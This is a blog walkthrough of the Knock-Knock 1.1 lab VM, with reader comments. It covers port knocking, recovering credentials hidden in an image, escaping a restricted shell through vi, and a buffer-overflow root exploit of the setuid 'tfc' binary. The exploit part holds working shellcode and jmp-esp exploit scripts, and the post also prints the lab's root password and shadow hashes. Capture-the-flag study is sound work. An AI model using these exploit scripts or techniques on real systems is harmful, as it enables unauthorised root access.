Knock-Knock: 1.1 Walkthrough

Next up on my list was Knock-Knock 1.1 by zer0w1re. This was another older VM, but since I hadn't done anything with port knocking yet, I figured I should.

First things first, finding the IP of the VM.

root@kali:~# netdiscover -i eth0 -r 172.16.119.0/24

 Currently scanning: Finished!   |   Screen View: Unique Hosts
                                                                              
 3 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 180              
 ________________________________________________________________
    IP            At MAC Address      Count  Len   MAC Vendor    
 ----------------------------------------------------------------
 172.16.119.1    00:50:56:c0:00:01    01    060   VMWare, Inc.
 172.16.119.138  00:0c:29:1d:8e:e5    01    060   VMware, Inc.
 172.16.119.254  00:50:56:ef:65:dc    01    060   VMWare, Inc.

With the IP, ran a quick Nmap scan, but things weren't as nice an easy as they normally were...

root@kali:~# nmap -sT -sV -O 172.16.119.138

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:22 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.35 seconds

After some more messing around with flags and scan types, I decided to just throw a full port scan on it and wait.

root@kali:~# nmap 172.16.119.138 -p-

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:39 EDT
Nmap scan report for 172.16.119.138
Host is up (0.00014s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE
1337/tcp open  waste
MAC Address: 00:0C:29:1D:8E:E5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 163.92 seconds

Since I at least had one port to start with, I decided to telnet into it to see what I could find.

root@kali:~# telnet 172.16.119.138 1337
Trying 172.16.119.138...
Connected to 172.16.119.138.
Escape character is '^]'.
[54790, 46240, 64968]
Connection closed by foreign host.
root@kali:~# telnet 172.16.119.138 1337
Trying 172.16.119.138...
Connected to 172.16.119.138.
Escape character is '^]'.
[260, 41291, 6]
Connection closed by foreign host.

It looked like 3 ports were given after telnetting into 1337, and based on the name of the VM, I figured it was just a simple (of course it wasn't) port-knock.

root@kali:~# telnet 172.16.119.138 1337
Trying 172.16.119.138...
Connected to 172.16.119.138.
Escape character is '^]'.
[18535, 36143, 29287]
Connection closed by foreign host.
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 29287
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 36143
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# telnet 172.16.119.138 18535
Trying 172.16.119.138...
telnet: Unable to connect to remote host: Connection refused
root@kali:~# nmap 172.16.119.138 -p-

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 16:49 EDT
Nmap scan report for 172.16.119.138
Host is up (0.00015s latency).
Not shown: 65534 filtered ports
PORT     STATE SERVICE
1337/tcp open  waste
MAC Address: 00:0C:29:1D:8E:E5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 165.34 seconds

Since my *bang fist against door and hope for access* method didn't work, I decided to try a more subtle (or at least more scripted) method.

#!/usr/bin/python

from itertools import permutations
from socket import *
import sys
import time

server = "172.16.119.138"

s = socket(AF_INET, SOCK_STREAM)
s.connect((server, 1337))

data = s.recv(20)
data = data.replace(",", "")
ports = data[1:-2].split()

print ports
for iter in permutations(ports, 3):
    for port in iter:
        print "[*] Knock Knock: " + str(port)
    try:
        s = socket(AF_INET, SOCK_STREAM)
        s.connect((server, int(port)))
        s.close()
    except Exception,e:
        #print str(e)
        pass
    time.sleep(1)
    print "[-] Knock Complete\n"

print "[+] All Knocking Complete!"

With my Python script prepared, I ran it and obtained some more open ports this time

root@kali:~# python knockknock.py
['62821', '7264', '860']
[*] Knock Knock: 62821
[*] Knock Knock: 7264
[*] Knock Knock: 860
[-] Knock Complete

[*] Knock Knock: 62821
[*] Knock Knock: 860
[*] Knock Knock: 7264
[-] Knock Complete

[*] Knock Knock: 7264
[*] Knock Knock: 62821
[*] Knock Knock: 860
[-] Knock Complete

[*] Knock Knock: 7264
[*] Knock Knock: 860
[*] Knock Knock: 62821
[-] Knock Complete

[*] Knock Knock: 860
[*] Knock Knock: 62821
[*] Knock Knock: 7264
[-] Knock Complete

[*] Knock Knock: 860
[*] Knock Knock: 7264
[*] Knock Knock: 62821
[-] Knock Complete

[+] All Knocking Complete!
root@kali:~# nmap 172.16.119.138

Starting Nmap 6.47 ( http://nmap.org ) at 2015-07-22 19:19 EDT
Nmap scan report for 172.16.119.138
Host is up (0.00028s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:1D:8E:E5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 18.08 seconds

I figured that HTTP would be my best bet, so I pulled up the home page.

Unfortunately, I was unable to get any more information for dirbuster, the source, or anything else existing, so I decided to take a closer look at the image file.

root@kali:~# wget http://172.16.119.138/knockknock.jpg
--2015-07-22 19:21:52--  http://172.16.119.138/knockknock.jpg
Connecting to 172.16.119.138:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 84741 (83K) [image/jpeg]
Saving to: `knockknock.jpg'

100%[======================================>] 84,741      --.-K/s   in 0s     

2015-07-22 19:21:52 (350 MB/s) - `knockknock.jpg' saved [84741/84741]

After various attempts to find information in the image file, strings gave me a section that appeared to be login credentials, so that was a great start.

root@kali:~# strings knockknock.jpg
JFIF
Ducky
http://ns.adobe.com/xap/1.0/

<...snip...>

Login Credentials
abfnW
sax2Cw9Ow

Unfortunately, the strange looking "credentials" didn't actually work on the box at first glance.

root@kali:~# ssh abfnW@172.16.119.138
The authenticity of host '172.16.119.138 (172.16.119.138)' can't be established.
ECDSA key fingerprint is af:79:f1:28:f4:7f:5a:d7:c4:31:9b:d9:b1:cc:05:f4.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.119.138' (ECDSA) to the list of known hosts.
abfnW@172.16.119.138's password:
Permission denied, please try again.

After a lot of messing around with a caesar cipher decryption tool, I finally realized that a shift of 13 (ROT-13, should have tried that sooner) gave a username of nosaJ, which was Jason reversed.

With the un-reversed credentials (Jason/jB9jP2knf) in hand, I was able to successfully login to the box.

root@kali:~# ssh jason@172.16.119.138
jason@172.16.119.138's password:
Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Mon Oct  6 12:33:37 2014 from 192.168.56.202


jason@knockknock:~$

Once I was actually in the system though, I was trapped inside of a restricted shell.

jason@knockknock:~$ cat /v-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a2': invalid number specifier
-rbash: /dev/null: restricted: cannot redirect output
bash: _upvars: `-a0': invalid number specifier
jason@knockknock:~$ cd /
-rbash: cd: restricted

To escape the restricted shell I opened up VI and set the shell variable.

jason@knockknock:~$ vi
~                                                                  
~                                                                  
~                                                                  
~                                                                  
~                              VIM - Vi IMproved                   
~                                                                  
~                               version 7.3.547                    
~                           by Bram Moolenaar et al.               
~           Modified by pkg-vim-maintainers@lists.alioth.debian.org
~                 Vim is open source and freely distributable      
~                                                                  
~                        Become a registered Vim user!             
~                type  :help register   for information     
~                                                                  
~                type  :q               to exit             
~                type  :help  or    for on-line help    
~                type  :help version7   for version info    
~                                                                  
~                                                                  
~                                                                  
~                                                                  
~                                                                  
:set shell=/bin/bash
:shell

jason@knockknock:~$ cd /
jason@knockknock:/$ id
uid=1000(jason) gid=1000(jason) groups=1000(jason),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

Inside of jason's home directory, there was a set-uid root file called tfc, so that was probably the next thing I would need to exploit.

jason@knockknock:~$ ls -al
total 32
drwxr-xr-x 2 jason jason 4096 Jul 23 12:51 .
drwxr-xr-x 3 root  root  4096 Sep 24  2014 ..
lrwxrwxrwx 1 jason jason    9 Sep 26  2014 .bash_history (DIR) -> /dev/null
-rw-r--r-- 1 jason jason  220 Sep 24  2014 .bash_logout
-rw-r--r-- 1 jason jason 3398 Jul 23 12:49 .bashrc
-rw-r--r-- 1 jason jason  675 Sep 24  2014 .profile
-rwsr-xr-x 1 root  jason 7457 Oct 11  2014 tfc
-rw------- 1 jason jason 2463 Jul 23 12:51 .viminfo

It looked like tfc was a two way encryption program that handled plain-text files with a .tfc extension.

jason@knockknock:~$ ./tfc
_______________________________ 
\__    ___/\_   _____/\_   ___ \
  |    |    |    __)  /    \  \/
  |    |    |     \   \     \____
  |____|    \___  /    \__7____  /
                \/            \/

     Tiny File Crypter - 1.0

Usage: ./tfc  
jason@knockknock:~$ cat test.tfc
Hello World!
jason@knockknock:~$ ./tfc test.tfc out.tfc
>> File crypted, goodbye!
jason@knockknock:~$ cat out.tfc
��v�s��m5��'
jason@knockknock:~$ ./tfc out.tfc test2.tfc
>> File crypted, goodbye!
jason@knockknock:~$ cat test2.tfc
Hello World!

I first decided to check for a buffer overflow, which I was able to find. Unfortunately, GDB was not located on the target system.

jason@knockknock:~$ python -c 'print "A"*5000' > overflow.tfc
jason@knockknock:~$ ./tfc overflow.tfc test.tfc
Segmentation fault
jason@knockknock:~$ gdb ./tfc
bash: gdb: command not found

I moved the tfc application back over to my attacker box, and attempted to run it with a cyclical pattern to try and find the offset of EIP.

root@kali:~# scp jason@172.16.119.138:tfc ./
jason@172.16.119.138's password:
tfc                                           100% 7457     7.3KB/s   00:00    
root@kali:~# ./tfc overflow.tfc test.tfc
Segmentation fault
root@kali:~# gdb ./tfc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tfc...(no debugging symbols found)...done.
(gdb) r overflow.tfc test.tfc
Starting program: /root/tfc overflow.tfc test.tfc
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf77bb000

Program received signal SIGSEGV, Segmentation fault.
0x7647ce67 in ?? ()
(gdb) i r
eax            0x0     0
ecx            0xffffffc8     -56
edx            0x9     9
ebx            0xf7798ff4     -143028236
esp            0xffbafe40     0xffbafe40
ebp            0x3e526108     0x3e526108
esi            0x0     0
edi            0x0     0
eip            0x7647ce67     0x7647ce67
eflags         0x10282     [ SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99

Unfortunately, it looked like I didn't actually have the control of EIP that I thought I would.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x7647ce67 50000
[*] No exact matches, looking for likely candidates...

I decided to take a step back and try to verify the overwrite of EIP with just 'A' to make sure that the program was executing the way that I thought it was.

root@kali:~# python -c 'print "A"*5000' > overflow.tfc
root@kali:~# ./tfc overflow.tfc test.tfc
Segmentation fault
root@kali:~# gdb tfc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tfc...(no debugging symbols found)...done.
(gdb) r overflow.tfc test.tfc
Starting program: /root/tfc overflow.tfc test.tfc
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xf772d000

Program received signal SIGSEGV, Segmentation fault.
0x0675c916 in ?? ()
Undefined command: "ir".  Try "help".
(gdb) i r
eax            0x0     0
ecx            0xffffffc8     -56
edx            0x9     9
ebx            0xf770aff4     -143609868
esp            0xffeaec40     0xffeaec40
ebp            0xc55193b     0xc55193b
esi            0x0     0
edi            0x0     0
eip            0x675c916     0x675c916
eflags         0x10282     [ SF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0     0
gs             0x63     99

Since it seemed that I was unable to overwrite EIP, I decided to see if the "encrypted" files were just some sort of simple substitution cipher. While they didn't appear to be a simple substitution, it looked like the same sequence of characters was encoded the same way, so that should be helpful later.

root@kali:~# ulimit -s unlimited
root@kali:~# ulimit -c unlimited
root@kali:~# python -c 'print "A"*4000' > overflow.tfc
root@kali:~# ./tfc overflow.tfc test.tfc
>> File crypted, goodbye!
root@kali:~# xxd test.tfc | head
0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c  ).Aotg.\!.E?...l
0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979  +..B..$f5%..&..y
0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77  ..|S[I;R...+T..w
0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727  ...$...7..?i..w'
0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41  ..3...s<A..^..^A
0000060: 9a35 9167 ccf8 1f00 a809 c919 309d c241  .5.g........0..A
0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00  .z |..we.rt...o.
0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245  .7...l.a.n.8...E
0000090: c7e6 f342 abc1 9363 504c af0b 199e d551  ...B...cPL.....Q
root@kali:~# python -c 'print "A"*100' > overflow.tfc
root@kali:~# ./tfc overflow.tfc test.tfc
>> File crypted, goodbye!
root@kali:~# xxd test.tfc | head
0000000: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
0000010: 2986 416f 7467 df5c 21a2 453f e5cc 806c  ).Aotg.\!.E?...l
0000020: 2bd0 0142 b5c2 2466 3525 c114 26dc 1979  +..B..$f5%..&..y
0000030: 1dd0 7c53 5b49 3b52 012e 942b 549a fe77  ..|S[I;R...+T..w
0000040: e104 0424 cd9f e437 f09c 3f69 0095 7727  ...$...7..?i..w'
0000050: d017 3307 b61e 733c 41f9 8c5e f98c 5e41  ..3...s<A..^..^A
0000060: 9a35 9167 87f8 1f00 a809 c919 309d c241  .5.g........0..A
0000070: 8f7a 207c f8b3 7765 9a72 7417 8b1d 6f00  .z |..we.rt...o.
0000080: b137 a610 ee6c 1a61 966e 1438 0c19 e245  .7...l.a.n.8...E
0000090: c7e6 f342 abc1 9363 504c af0b 199e d551  ...B...cPL.....Q

After a bit more pondering, I decided to see if the buffer overflow was maybe happening after the string was already encrypted. To do this, I would need to encrypt my string successfully, THEN run it back through the executable. While the application would crash on my too-long string, I was able to grab the entire encrypted text from the core dump. The 213920 bytes skipped in my DD command comes from the 00343a0 address that contains the def0 string that I knew was AA (or AAAA...) converted back to decimal. After running my second file back through the convert, I was able to overwrite EIP with some expected values.

root@kali:~# ulimit -c unlimited
root@kali:~# python -c 'print "A"*5000' > overflow.tfc
root@kali:~# ./tfc overflow.tfc asdf.tfc
Segmentation fault (core dumped)
root@kali:~# xxd core | grep 'def0'
000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55  ..lU..lU..lU..lU
001def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
002def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00343a0: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
root@kali:~# dd if=core of=test.tfc skip=213920 count=5000 bs=1
5000+0 records in
5000+0 records out
5000 bytes (5.0 kB) copied, 0.00710596 s, 704 kB/s
root@kali:~# ./tfc test.tfc outfile.tfc
Segmentation fault (core dumped)
root@kali:~# gdb tfc core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tfc...(no debugging symbols found)...done.
[New LWP 7678]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000
Core was generated by `./tfc test.tfc outfile.tfc'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) q

With this information in hand, I was able to run a cyclical pattern through the application again, and figure out where the offset was. Unfortunately, getting the number of bytes to skip each time wasn't terribly easy as the memory addresses were constantly moving around. The best advice I can give is to keep looking at the dumps and you'll be able to figure out where they start. They are the last big chunk of text before the giant field of null values, and they start after some control codes that change, but are null padded as well.

root@kali:~# ./tfc pattern.tfc out.tfc
Segmentation fault (core dumped)
root@kali:~# xxd core 

< ... snipped ...>

root@kali:~# dd if=core of=test.tfc skip=208784 count=5000 bs=1
5000+0 records in
5000+0 records out
5000 bytes (5.0 kB) copied, 0.0077573 s, 645 kB/s
root@kali:~# ./tfc test.tfc out.tfc
Segmentation fault (core dumped)
root@kali:~# gdb tfc core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tfc...(no debugging symbols found)...done.
[New LWP 7976]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000
Core was generated by `Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj'.
Program terminated with signal 11, Segmentation fault.
#0  0x35684634 in ?? ()
(gdb) q

I was then able to obtain the proper EIP offset.

root@kali:/usr/share/metasploit-framework/tools# ruby pattern_offset.rb 0x35684634 5000
[*] Exact match at offset 4124

Just to make sure, I also verified that 4124 was the correct offset.

root@kali:~# python -c 'print "A"*4124 + "BBBB" + "C"*1000' > overflow.tfc
root@kali:~# ./tfc overflow.tfc out.tfc
Segmentation fault (core dumped)
root@kali:~# xxd core | grep def0
000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55  ..lU..lU..lU..lU
001def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
002def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0033290: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
root@kali:~# dd if=core of=test.tfc skip=209552 count=5000 bs=1
5000+0 records in
5000+0 records out
5000 bytes (5.0 kB) copied, 0.00738477 s, 677 kB/s
root@kali:~# ./tfc test.tfc out.tfc
Segmentation fault (core dumped)
root@kali:~# gdb tfc core
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/tfc...(no debugging symbols found)...done.
[New LWP 8188]

warning: Can't read pathname for load map: Input/output error.

warning: no loadable sections found in added symbol-file system-supplied DSO at 0x55575000
Core was generated by `./tfc test.tfc out.tfc'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) q

With my offset and shellcode in hand, I just needed to find a JMP ESP inside of the application to make my life easier.

root@kali:~# msfelfscan -j esp tfc
[tfc]
0x08048e93 jmp esp
0x08048e93 jmp esp

With everything in place, it was time to write a python script to craft my exploit.

#/usr/bin/python

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

buffer = "A" * 4124
buffer += "\x93\x8e\x04\x08"  # jmp esp
buffer += shellcode
buffer += "\x90" * 128

print buffer

Before moving this back over to the VM, I verified that it all worked together and gave me a shell.

root@kali:~# python exploit.py > exploit.tfc
root@kali:~# xxd core | grep def0
000def0: 0bf0 6c55 14f0 6c55 1af0 6c55 e3ef 6c55  ..lU..lU..lU..lU
001def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
002def0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
0033de0: def0 5bab 5df7 ab43 0690 fe64 6cb0 0b48  ..[.]..C...dl..H
root@kali:~# ls -l exploit.tfc
-rw-r--r-- 1 root root 4285 Jul 24 14:50 exploit.tfc
root@kali:~# dd if=core of=test.tfc skip=212448 count=4285 bs=1
4285+0 records in
4285+0 records out
4285 bytes (4.3 kB) copied, 0.00578275 s, 741 kB/s
root@kali:~# ./tfc test.tfc owned.tfc
# exit

I then moved the exploit over, escaped the restricted shell, ran it through tfc, and obtained root.

root@kali:~# scp test.tfc jason@172.16.119.138:.
jason@172.16.119.138's password:
test.tfc                                      100% 4285     4.2KB/s   00:00   
root@kali:~# ssh jason@172.16.119.138
jason@172.16.119.138's password:
Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Jul 23 09:32:08 2015 from 172.16.119.128
jason@knockknock:~$ vi

< ... (escape restricted shell) ... >

jason@knockknock:~$ ./tfc test.tfc owned.tfc
# id
uid=1000(jason) gid=1000(jason) euid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(jason)

Inside of the /root directory I found a sample exploit that actually encoded the information itself, which could have been another path I took (though it would have involved actually reversing the tfc binary).

#/usr/bin/python
from struct import pack


# /*
# *  Shellcode length: 49
# *  Author: Chroniccommand
# *  /bin/dash
# *  My first attempt at shellcode
# *  Poison security
# */
# #include<stdio.h>
# //49 bytes
# char shellcode[] =  "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
#                     "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d"
#                     "\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
#                     "\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42"
#                     "\x42\x42\x43\x43\x43\x43";
# int main(){
#  printf("Shellcode length: 49 bytes\nAuthor:chroniccommand\nPoison security");
#  int *ret;
#  ret = (int *)&ret + 2;
#  (*ret) = (int)shellcode;
# }
shellcode =  "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x89\x76\x0a"
shellcode += "\x89\x46\x0e\xb0\x0b\x89\xf3\x8d\x4e\x0a\x8d"
shellcode += "\x56\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f"
shellcode += "\x62\x69\x6e\x2f\x64\x61\x73\x68\x41\x42\x42"
shellcode += "\x42\x42\x43\x43\x43\x43"

key = [0x2f,0x25,0xc0,0xa9,0x27,0xba,0x70,0x80,0xc5,0xc7,0x01,0x37,0xed,0xde,0xae,0x78]

def p(v):
     return pack('<L', v)

d  = 4096 * 'A'
d += 32 * 'B'
# h4x@kali:~/knockknock$ msfelfscan -j esp tfc
# [tfc]
# 0x08048bb3 jmp esp
# 0x08048bb3 jmp esp
d += p(0x08048bb3)
d += 28 * '\x90'

for i in range(len(shellcode)):
     if ((ord(shellcode[i]) != 0) and (ord(shellcode[i]) ^ key[i % 16] != 0)):
          d += chr((ord(shellcode[i]) ^ key[i % 16]) & 0xFF)

open('cbuff.txt','wb').write(d)

In addition, there was a directory called the_flag_is_in_here that contained the flag file.

# cd the_flag_is_in_here
# ls
qQcmDWKM5a6a3wyT.txt
# cat qQcmDWKM5a6a3wyT.txt 

< ...(cool ascii art that breaks at lower window sizes)... >

Hooray you got the flag!

Hope you had as much fun r00ting this as I did making it!

Feel free to hit me up in #vulnhub @ zer0w1re

Gotta give a big shout out to c0ne, who helpped to make the tfc binary challenge,
as well as rasta_mouse, and recrudesce for helping to find bugs and test the VM 🙂

root password is "qVx4UJ*zcUdc9#3C$Q", but you should already have a shell, right? 😉

Even with the user and root passwords, I decided to grab the shadow file (could still be useful for testing password crackers etc.)

# cat /etc/shadow
root:$6$8ybU99D0$DPgATwHBCIpigzKiC5Ez9WAvruQJ/W9kyIbjo31G0g7uLgEYDDbtQLEDgHqOKdWpB5lJjzrn9RhQgDpY5fdnX.:16354:0:99999:7:::
daemon:*:16338:0:99999:7:::
bin:*:16338:0:99999:7:::
sys:*:16338:0:99999:7:::
sync:*:16338:0:99999:7:::
games:*:16338:0:99999:7:::
man:*:16338:0:99999:7:::
lp:*:16338:0:99999:7:::
mail:*:16338:0:99999:7:::
news:*:16338:0:99999:7:::
uucp:*:16338:0:99999:7:::
proxy:*:16338:0:99999:7:::
www-data:*:16338:0:99999:7:::
backup:*:16338:0:99999:7:::
list:*:16338:0:99999:7:::
irc:*:16338:0:99999:7:::
gnats:*:16338:0:99999:7:::
nobody:*:16338:0:99999:7:::
libuuid:!:16338:0:99999:7:::
Debian-exim:!:16338:0:99999:7:::
statd:*:16338:0:99999:7:::
sshd:*:16338:0:99999:7:::
jason:$6$b9cjUN.f$6O4qCLqDWsBItBGPAWWi5DT4Yfb4E7VUTuD96SocALZW.fObUUBM1E5u3.1LmDJVtS.c9PhCJLnhWjmwV4Yur.:16338:0:99999:7:::
doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

3 Comments

Filed under Security Not Included

3 Responses to Knock-Knock: 1.1 Walkthrough

  1. Franky

    Great write up!
    I got most of the way through on a similar path – until i got to the bof and shellcode and kept facing segfaults. I then referred to your write up, and wow! awesome detail!
    Your shellcode works perfectly!
    The shellcode i was using was: http://shell-storm.org/shellcode/files/shellcode-827.php

    Not sure why, but this didn’t work (actually tried several) though, yours did…
    Any ideas on that?

    Thanks again!

    • Thanks, and I’m glad you appreciated it!

      Yea, it was definitely a tricky one, but I’m glad to have helped.

      So, this was definitely an interesting question, and I decided to take a deeper look into it myself. My first attempts ended up with the same issue you saw, segfault with your shellcode (but mine still worked).

      After re-encoding everything I noticed the two differences. My ESP started at the VERY beginning of my shellcode, whereas yours had 20 bytes of “garbage” in front of it:

      ("good" shellcode)
      
      Breakpoint 1, 0x08048e93 in ?? ()
      (gdb) x/8x $esp
      0xbfae6390:     0x6850c031     0x68732f2f     0x69622f68     0x89e3896e
      0xbfae63a0:     0xb0c289c1     0x3180cd0b     0x80cd40c0     0x90909090
      
      ("bad" shellcode)
      
      (gdb) x/12x $esp
      0xbfed6a9c:     0xbfed6aa4     0x00000000     0x6e69622f     0x68732f2f
      0xbfed6aac:     0x00000000     0x6850c031     0x68732f2f     0x69622f68
      0xbfed6abc:     0x50e3896e     0xb0e18953     0x9080cd0b     0x90909090
      

      At first I thought this was because a shellcode of length 28 + the rest of my buffer made the entire payload divisible by 4, but even making the entire buffer divisible by 4 using the “bad” shellcode didn’t work. That turned out to not be the issue, and I was still running into segfaults.

      After some more debugging, I realized that those 20 bytes of garbage were ending up on the stack AFTER the jump was hit:

      (gdb) r encodedBAD.tfc outfile.tfc
      The program being debugged has been started already.
      Start it from the beginning? (y or n) y
      
